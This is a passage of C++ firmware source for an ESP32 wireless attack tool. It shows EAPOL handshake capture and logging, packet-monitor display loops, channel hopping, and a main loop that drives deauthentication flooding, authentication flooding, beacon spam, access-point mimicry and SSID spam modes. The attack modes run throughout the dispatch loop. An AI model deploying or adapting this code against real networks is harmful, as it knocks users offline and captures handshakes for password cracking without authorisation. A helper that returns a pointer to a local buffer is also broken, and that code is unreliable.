  1974. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1975. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1976. }
  1977. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1978. num_eapol++;
  1979. Serial.println("Received EAPOL:");
  1980. for (int i = 0; i < len; i++) {
  1981. char hexCar[4];
  1982. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1983. Serial.print(hexCar);
  1984. //Serial.print(snifferPacket->payload[i], HEX);
  1985. if ((i + 1) % 16 == 0)
  1986. Serial.print("\n");
  1987. else
  1988. Serial.print(" ");
  1989. }
  1990. Serial.print("\n");
  1991. }
  1992. if (save_packet)
  1993. sd_obj.addPacket(snifferPacket->payload, len);
  1994. }
  1995. #ifdef HAS_SCREEN
  1996. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  1997. {
  1998. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  1999. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2000. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2001. {
  2002. currentTime = millis();
  2003. do_break = false;
  2004. y_pos_x = 0;
  2005. y_pos_y = 0;
  2006. y_pos_z = 0;
  2007. boolean pressed = false;
  2008. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2009. // Do the touch stuff
  2010. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2011. if (pressed) {
  2012. Serial.print("Got touch | X: ");
  2013. Serial.print(t_x);
  2014. Serial.print(" Y: ");
  2015. Serial.println(t_y);
  2016. }
  2017. // Check buttons for presses
  2018. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2019. {
  2020. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2021. {
  2022. display_obj.key[b].press(true);
  2023. } else {
  2024. display_obj.key[b].press(false);
  2025. }
  2026. }
  2027. // Which buttons pressed
  2028. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2029. {
  2030. if (display_obj.key[b].justPressed())
  2031. {
  2032. Serial.println("Bro, key pressed");
  2033. //do_break = true;
  2034. }
  2035. if (display_obj.key[b].justReleased())
  2036. {
  2037. do_break = true;
  2038. // Channel - button pressed
  2039. if (b == 4) {
  2040. if (set_channel > 1) {
  2041. Serial.println("Shit channel down");
  2042. set_channel--;
  2043. delay(70);
  2044. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2045. //display_obj.tftDrawXScaleButtons(x_scale);
  2046. //display_obj.tftDrawYScaleButtons(y_scale);
  2047. display_obj.tftDrawChannelScaleButtons(set_channel);
  2048. display_obj.tftDrawExitScaleButtons();
  2049. changeChannel();
  2050. break;
  2051. }
  2052. }
  2053. // Channel + button pressed
  2054. else if (b == 5) {
  2055. if (set_channel < MAX_CHANNEL) {
  2056. Serial.println("Shit channel up");
  2057. set_channel++;
  2058. delay(70);
  2059. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2060. //display_obj.tftDrawXScaleButtons(x_scale);
  2061. //display_obj.tftDrawYScaleButtons(y_scale);
  2062. display_obj.tftDrawChannelScaleButtons(set_channel);
  2063. display_obj.tftDrawExitScaleButtons();
  2064. changeChannel();
  2065. break;
  2066. }
  2067. }
  2068. else if (b == 6) {
  2069. Serial.println("Exiting packet monitor...");
  2070. this->StartScan(WIFI_SCAN_OFF);
  2071. //display_obj.tft.init();
  2072. this->orient_display = true;
  2073. return;
  2074. }
  2075. }
  2076. }
  2077. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2078. //Serial.println("-----------------------------------------");
  2079. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2080. x_pos += x_scale;
  2081. initTime = millis();
  2082. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2083. if (y_pos_x >= HEIGHT_1) {
  2084. Serial.println("Max EAPOL number reached. Adjusting...");
  2085. num_eapol = 0;
  2086. }
  2087. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2088. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2089. //Serial.println("num_beacon: " + (String)num_beacon);
  2090. //Serial.println("num_deauth: " + (String)num_deauth);
  2091. //Serial.println(" num_probe: " + (String)num_probe);
  2092. //num_beacon = 0;
  2093. //num_probe = 0;
  2094. //num_deauth = 0;
  2095. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2096. //Plot "X" value
  2097. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2098. //Plot "Z" value
  2099. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2100. //Plot "Y" value
  2101. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2102. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2103. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2104. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2105. {
  2106. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2107. }
  2108. else
  2109. {
  2110. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2111. }
  2112. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2113. //if (x_pos <= 90)
  2114. if (x_pos < 0) // below x axis
  2115. {
  2116. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2117. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2118. }
  2119. else
  2120. {
  2121. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2122. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2123. }
  2124. //tftDisplayTime();
  2125. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2126. {
  2127. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2128. }
  2129. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2130. //y_pos_y_old = y_pos_y;
  2131. //y_pos_z_old = y_pos_z;
  2132. //delay(50);
  2133. }
  2134. sd_obj.main();
  2135. }
  2136. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2137. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2138. display_obj.tftDrawChannelScaleButtons(set_channel);
  2139. display_obj.tftDrawExitScaleButtons();
  2140. display_obj.tftDrawEapolColorKey();
  2141. display_obj.tftDrawGraphObjects(x_scale);
  2142. }
  2143. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2144. {
  2145. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2146. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2147. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2148. {
  2149. currentTime = millis();
  2150. do_break = false;
  2151. y_pos_x = 0;
  2152. y_pos_y = 0;
  2153. y_pos_z = 0;
  2154. boolean pressed = false;
  2155. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2156. // Do the touch stuff
  2157. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2158. if (pressed) {
  2159. Serial.print("Got touch | X: ");
  2160. Serial.print(t_x);
  2161. Serial.print(" Y: ");
  2162. Serial.println(t_y);
  2163. }
  2164. // Check buttons for presses
  2165. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2166. {
  2167. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2168. {
  2169. display_obj.key[b].press(true);
  2170. } else {
  2171. display_obj.key[b].press(false);
  2172. }
  2173. }
  2174. // Which buttons pressed
  2175. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2176. {
  2177. if (display_obj.key[b].justPressed())
  2178. {
  2179. Serial.println("Bro, key pressed");
  2180. //do_break = true;
  2181. }
  2182. if (display_obj.key[b].justReleased())
  2183. {
  2184. do_break = true;
  2185. // X - button pressed
  2186. if (b == 0) {
  2187. if (x_scale > 1) {
  2188. x_scale--;
  2189. delay(70);
  2190. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2191. display_obj.tftDrawXScaleButtons(x_scale);
  2192. display_obj.tftDrawYScaleButtons(y_scale);
  2193. display_obj.tftDrawChannelScaleButtons(set_channel);
  2194. display_obj.tftDrawExitScaleButtons();
  2195. break;
  2196. }
  2197. }
  2198. // X + button pressed
  2199. else if (b == 1) {
  2200. if (x_scale < 6) {
  2201. x_scale++;
  2202. delay(70);
  2203. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2204. display_obj.tftDrawXScaleButtons(x_scale);
  2205. display_obj.tftDrawYScaleButtons(y_scale);
  2206. display_obj.tftDrawChannelScaleButtons(set_channel);
  2207. display_obj.tftDrawExitScaleButtons();
  2208. break;
  2209. }
  2210. }
  2211. // Y - button pressed
  2212. else if (b == 2) {
  2213. if (y_scale > 1) {
  2214. y_scale--;
  2215. delay(70);
  2216. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2217. display_obj.tftDrawXScaleButtons(x_scale);
  2218. display_obj.tftDrawYScaleButtons(y_scale);
  2219. display_obj.tftDrawChannelScaleButtons(set_channel);
  2220. display_obj.tftDrawExitScaleButtons();
  2221. //updateMidway();
  2222. break;
  2223. }
  2224. }
  2225. // Y + button pressed
  2226. else if (b == 3) {
  2227. if (y_scale < 9) {
  2228. y_scale++;
  2229. delay(70);
  2230. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2231. display_obj.tftDrawXScaleButtons(x_scale);
  2232. display_obj.tftDrawYScaleButtons(y_scale);
  2233. display_obj.tftDrawChannelScaleButtons(set_channel);
  2234. display_obj.tftDrawExitScaleButtons();
  2235. //updateMidway();
  2236. break;
  2237. }
  2238. }
  2239. // Channel - button pressed
  2240. else if (b == 4) {
  2241. if (set_channel > 1) {
  2242. Serial.println("Shit channel down");
  2243. set_channel--;
  2244. delay(70);
  2245. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2246. display_obj.tftDrawXScaleButtons(x_scale);
  2247. display_obj.tftDrawYScaleButtons(y_scale);
  2248. display_obj.tftDrawChannelScaleButtons(set_channel);
  2249. display_obj.tftDrawExitScaleButtons();
  2250. changeChannel();
  2251. break;
  2252. }
  2253. }
  2254. // Channel + button pressed
  2255. else if (b == 5) {
  2256. if (set_channel < MAX_CHANNEL) {
  2257. Serial.println("Shit channel up");
  2258. set_channel++;
  2259. delay(70);
  2260. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2261. display_obj.tftDrawXScaleButtons(x_scale);
  2262. display_obj.tftDrawYScaleButtons(y_scale);
  2263. display_obj.tftDrawChannelScaleButtons(set_channel);
  2264. display_obj.tftDrawExitScaleButtons();
  2265. changeChannel();
  2266. break;
  2267. }
  2268. }
  2269. else if (b == 6) {
  2270. Serial.println("Exiting packet monitor...");
  2271. this->StartScan(WIFI_SCAN_OFF);
  2272. //display_obj.tft.init();
  2273. this->orient_display = true;
  2274. return;
  2275. }
  2276. }
  2277. }
  2278. if (currentTime - initTime >= GRAPH_REFRESH) {
  2279. //Serial.println("-----------------------------------------");
  2280. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2281. x_pos += x_scale;
  2282. initTime = millis();
  2283. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2284. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2285. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2286. //Serial.println("num_beacon: " + (String)num_beacon);
  2287. //Serial.println("num_deauth: " + (String)num_deauth);
  2288. //Serial.println(" num_probe: " + (String)num_probe);
  2289. num_beacon = 0;
  2290. num_probe = 0;
  2291. num_deauth = 0;
  2292. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2293. //Plot "X" value
  2294. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2295. //Plot "Z" value
  2296. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2297. //Plot "Y" value
  2298. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2299. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2300. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2301. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2302. {
  2303. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2304. }
  2305. else
  2306. {
  2307. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2308. }
  2309. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2310. //if (x_pos <= 90)
  2311. if (x_pos < 0) // below x axis
  2312. {
  2313. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2314. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2315. }
  2316. else
  2317. {
  2318. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2319. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2320. }
  2321. //tftDisplayTime();
  2322. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2323. {
  2324. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2325. }
  2326. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2327. y_pos_y_old = y_pos_y;
  2328. y_pos_z_old = y_pos_z;
  2329. //delay(50);
  2330. }
  2331. sd_obj.main();
  2332. }
  2333. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2334. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2335. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2336. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2337. display_obj.tftDrawYScaleButtons(y_scale);
  2338. display_obj.tftDrawChannelScaleButtons(set_channel);
  2339. display_obj.tftDrawExitScaleButtons();
  2340. display_obj.tftDrawColorKey();
  2341. display_obj.tftDrawGraphObjects(x_scale);
  2342. }
  2343. #endif
  2344. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2345. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2346. // showMetadata(snifferPacket, type);
  2347. //}
  2348. void WiFiScan::changeChannel()
  2349. {
  2350. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2351. delay(1);
  2352. }
  2353. // Function to cycle to the next channel
  2354. void WiFiScan::channelHop()
  2355. {
  2356. this->set_channel = this->set_channel + 1;
  2357. if (this->set_channel > 13) {
  2358. this->set_channel = 1;
  2359. }
  2360. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2361. delay(1);
  2362. }
  2363. char* WiFiScan::stringToChar(String string) {
  2364. char buf[string.length() + 1] = {};
  2365. string.toCharArray(buf, string.length() + 1);
  2366. return buf;
  2367. }
  2368. // Function for updating scan status
  2369. void WiFiScan::main(uint32_t currentTime)
  2370. {
  2371. // WiFi operations
  2372. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2373. (currentScanMode == WIFI_SCAN_AP) ||
  2374. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2375. (currentScanMode == WIFI_SCAN_PWN) ||
  2376. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2377. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2378. (currentScanMode == WIFI_SCAN_ALL))
  2379. {
  2380. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2381. {
  2382. initTime = millis();
  2383. channelHop();
  2384. }
  2385. }
  2386. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2387. {
  2388. #ifdef HAS_SCREEN
  2389. packetMonitorMain(currentTime);
  2390. #endif
  2391. }
  2392. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2393. {
  2394. #ifdef HAS_SCREEN
  2395. eapolMonitorMain(currentTime);
  2396. #endif
  2397. }
  2398. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2399. {
  2400. #ifdef HAS_SCREEN
  2401. eapolMonitorMain(currentTime);
  2402. #endif
  2403. }
  2404. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2405. for (int i = 0; i < 55; i++)
  2406. this->sendProbeAttack(currentTime);
  2407. if (currentTime - initTime >= 1000) {
  2408. initTime = millis();
  2409. String displayString = "";
  2410. String displayString2 = "";
  2411. displayString.concat(text18);
  2412. displayString.concat(packets_sent);
  2413. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2414. displayString2.concat(" ");
  2415. #ifdef HAS_SCREEN
  2416. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2417. display_obj.showCenterText(displayString2, 160);
  2418. display_obj.showCenterText(displayString, 160);
  2419. #endif
  2420. packets_sent = 0;
  2421. }
  2422. }
  2423. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2424. for (int i = 0; i < 55; i++)
  2425. this->sendDeauthAttack(currentTime);
  2426. if (currentTime - initTime >= 1000) {
  2427. initTime = millis();
  2428. String displayString = "";
  2429. String displayString2 = "";
  2430. displayString.concat(text18);
  2431. displayString.concat(packets_sent);
  2432. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2433. displayString2.concat(" ");
  2434. #ifdef HAS_SCREEN
  2435. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2436. display_obj.showCenterText(displayString2, 160);
  2437. display_obj.showCenterText(displayString, 160);
  2438. #endif
  2439. packets_sent = 0;
  2440. }
  2441. }
  2442. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2443. // Need this for loop because getTouch causes ~10ms delay
  2444. // which makes beacon spam less effective
  2445. for (int i = 0; i < access_points->size(); i++) {
  2446. if (access_points->get(i).selected)
  2447. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2448. random(256),
  2449. random(256),
  2450. random(256),
  2451. random(256),
  2452. random(256)}});
  2453. }
  2454. if (currentTime - initTime >= 1000)
  2455. {
  2456. initTime = millis();
  2457. //Serial.print("packets/sec: ");
  2458. //Serial.println(packets_sent);
  2459. String displayString = "";
  2460. String displayString2 = "";
  2461. displayString.concat(text18);
  2462. displayString.concat(packets_sent);
  2463. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2464. displayString2.concat(" ");
  2465. #ifdef HAS_SCREEN
  2466. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2467. display_obj.showCenterText(displayString2, 160);
  2468. display_obj.showCenterText(displayString, 160);
  2469. #endif
  2470. packets_sent = 0;
  2471. }
  2472. }
  2473. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2474. {
  2475. // Need this for loop because getTouch causes ~10ms delay
  2476. // which makes beacon spam less effective
  2477. for (int i = 0; i < 55; i++)
  2478. broadcastRandomSSID(currentTime);
  2479. if (currentTime - initTime >= 1000)
  2480. {
  2481. initTime = millis();
  2482. //Serial.print("packets/sec: ");
  2483. //Serial.println(packets_sent);
  2484. String displayString = "";
  2485. String displayString2 = "";
  2486. displayString.concat(text18);
  2487. displayString.concat(packets_sent);
  2488. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2489. displayString2.concat(" ");
  2490. #ifdef HAS_SCREEN
  2491. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2492. display_obj.showCenterText(displayString2, 160);
  2493. display_obj.showCenterText(displayString, 160);
  2494. #endif
  2495. packets_sent = 0;
  2496. }
  2497. }
  2498. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2499. for (int i = 0; i < ssids->size(); i++)
  2500. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2501. if (currentTime - initTime >= 1000)
  2502. {
  2503. initTime = millis();
  2504. packets_sent = 0;
  2505. }
  2506. }
  2507. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2508. for (int i = 0; i < access_points->size(); i++) {
  2509. if (access_points->get(i).selected)
  2510. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2511. }
  2512. if (currentTime - initTime >= 1000) {
  2513. initTime = millis();
  2514. packets_sent = 0;
  2515. }
  2516. }
  2517. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2518. {
  2519. // Need this for loop because getTouch causes ~10ms delay
  2520. // which makes beacon spam less effective
  2521. for (int i = 0; i < 7; i++)
  2522. {
  2523. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2524. {
  2525. broadcastSetSSID(currentTime, rick_roll[x]);
  2526. }
  2527. }
  2528. if (currentTime - initTime >= 1000)
  2529. {
  2530. initTime = millis();
  2531. //Serial.print("packets/sec: ");
  2532. //Serial.println(packets_sent);
  2533. String displayString = "";
  2534. String displayString2 = "";
  2535. displayString.concat(text18);
  2536. displayString.concat(packets_sent);
  2537. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2538. displayString2.concat(" ");
  2539. #ifdef HAS_SCREEN
  2540. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2541. display_obj.showCenterText(displayString2, 160);
  2542. display_obj.showCenterText(displayString, 160);
  2543. #endif
  2544. packets_sent = 0;
  2545. }
  2546. }
  2547. }